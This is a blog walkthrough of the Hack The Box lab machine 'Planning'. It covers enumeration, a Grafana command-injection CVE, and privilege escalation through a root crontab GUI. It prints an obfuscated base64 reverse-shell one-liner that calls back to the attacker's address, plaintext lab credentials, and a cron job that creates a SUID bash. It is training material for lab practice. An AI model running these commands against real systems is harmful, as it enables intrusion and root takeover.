475 words
2 minutes
HTB: Planning (Linux/Easy)

Recon 🕵️#

Network Enumeration#

TCP Scan#

ip=10.129.100.88
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip
PortSoftwareVersionStatus
22/tcpsshttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)open
80/tcphttpttl 63 nginx 1.24.0 (Ubuntu)open

We can also observe that port 80 is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain planning.htb:

Pasted image 20250527102842.png let’s add it to our /etc/hosts file :

echo "$ip planning.htb" | sudo tee -a /etc/hosts

Web Enumeration#

Port NUMBER: 80#

After visiting the website, we see that it’s for an online education service with functional search capabilities and a contact form, both of which appear to be working. It also lists employee names, which we can compile into a list for potential use in brute-force attacks if needed:

Pasted image 20250527103238.png

Since we were already provided credentials in the box description and haven’t found a login page yet, let’s start fuzzing:

Fuzzing subdomains :#
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://planning.htb -H "HOST: FUZZ.planning.htb"

And we see that there is a valid subdomain:

grafana    [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 82ms]

let’s add it to our /etc/hosts file :

echo "$ip grafana.planning.htb" | sudo tee -a /etc/hosts

CVE-2024-9264:#

In the subdomain we discovered, as the name suggests, we found a login page for Grafana v11.0.0, a service that allows admins to query, visualize, and understand collected data:

Pasted image 20250527105111.png

While researching potential vulnerabilities in Grafana v11.0.0, I identified CVE-2024-9264, which involves command injection and local file inclusion vulnerabilities:

Pasted image 20250527110838.png

Exploiting 🦈#

Foothold#

Shell as root in docker:#

Using this POC, we see that indeed the target is vulnerable and we have remote code execution:

Pasted image 20250527111248.png

echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNC82NjY2IDA+JjEi" | base64 -d | bash

This gives us a reverse shell in a docker container as root:

Pasted image 20250527114631.png

shell as enzo:#

By checking the environment variables, we see a plaintext username and password:

Pasted image 20250527115443.png

GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo

And as expected we can use them to ssh to the target and collect the user flag:

Pasted image 20250527121209.png

Privilege Escalation#

Shell as root:#

While doing some manual enumeration, I stumbled across a file named crontab.db used to back up Grafana, which leaks a plaintext password, but it did not work for the root account:

Pasted image 20250527121436.png

P4ssw0rdS0pRi0T3c

And we can also see that there are a bunch of open local ports but the one that caught my eye is port 8000, so let’s forward it using a ssh tunnel then check it out:

ssh -L 8000:127.0.0.1:8000 enzo@planning.htb

After forwarding the port, we accessed a login form where I tested various combinations using Enzo’s credentials and the password from the crontab.db file, but none worked until I used root:P4ssw0rdS0pRi0T3c, which granted access. The interface is hosting a crontab GUI application, and it appears that any cronjob configured there will run as root. Let’s create a new cronjob to set up an SUID bash binary:

Pasted image 20250527122640.png

cp /bin/bash /tmp/rootShell && chmod 4777 /tmp/rootShell

Pasted image 20250527122842.png

After running it we see that we get our SUID shell in /tmp:

/tmp/rootShell -p

And time to collect the root flag:

Pasted image 20250527123041.png


HTB: Planning (Linux/Easy)
https://www.0xfr3nzy.com/posts/htb-planning-linux-easy/
Author
0xfr3nzy
Published at
2025-09-20